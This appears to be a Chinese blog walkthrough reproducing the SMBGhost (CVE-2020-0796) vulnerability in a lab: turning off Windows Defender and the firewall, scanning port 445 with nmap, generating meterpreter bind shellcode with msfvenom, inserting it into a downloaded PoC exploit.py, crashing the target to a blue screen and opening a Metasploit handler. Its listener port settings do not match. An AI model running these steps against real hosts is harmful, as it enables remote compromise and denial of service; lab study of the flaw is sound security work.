永恒之黑漏洞复现

最新推荐文章于 2024-10-19 18:34:39 发布

只为了拿0day

最新推荐文章于 2024-10-19 18:34:39 发布

阅读量482

点赞数

文章标签：安全

本文链接：https://blog.csdn.net/wutiangui/article/details/130968052

版权

安装完后记得一定要关闭defender，防火墙，保证win10和kali可以互ping
在这里插入图片描述

检测工具CVE-2020-0796-Scanner：
https://pan.baidu.com/s/1U4CHnUhgf1KN3JhCjLbGhw 提取码：b2pd
POC：
https://pan.baidu.com/s/18E5q1S33d-Fw8M6GRkZzfw 提取码：xrnw
二、怎么关闭defenderwin10杀毒关闭defenderwin10杀毒教程
　1、首先按下快捷键“ win+r ”打开运行输入“ gpedit.msc ”。
在这里插入图片描述

2、然后即可进入“ 本地组策略编辑器 ”。
在这里插入图片描述

3、依次展开“ 管理模板 —> windows组件 —> windows defender防病毒程序 ”，
　　双击右侧的“ 关闭defender防病毒程序 ”。
在这里插入图片描述

4、最后点击上方的“ 已启用 ”即可成功关闭。
在这里插入图片描述

三、漏洞验证
Kali主机对目标进行扫描 nmap -sS 192.168.162.2
在这里插入图片描述

说明已开放445端口，可利用
然后使用漏洞扫描工具CVE-2020-0796-Scanner检测漏洞
在这里插入图片描述

1）打开kali，放入SMBGhost_RCE_PoC-master.zip到/root下，解压
2）首先使用msfvenom生成一个python类型的shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python
在这里插入图片描述

3）将输出的内容复制，拷贝到exploit.py中，剪切替换原先的USER_PAYLOAD部分
在这里插入图片描述

4）蓝屏测试
再开一个终端，先执行 chmod +x exploit.py
再执行python3 exploit.py -ip 192.168.25.147
在这里插入图片描述

按回车可以触发蓝屏
在这里插入图片描述

此时会触发Win10蓝屏
5）接着msfconsole开启监听端口
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4488
set rhost 192.168.25.147 （Win10地址）
Run
在这里插入图片描述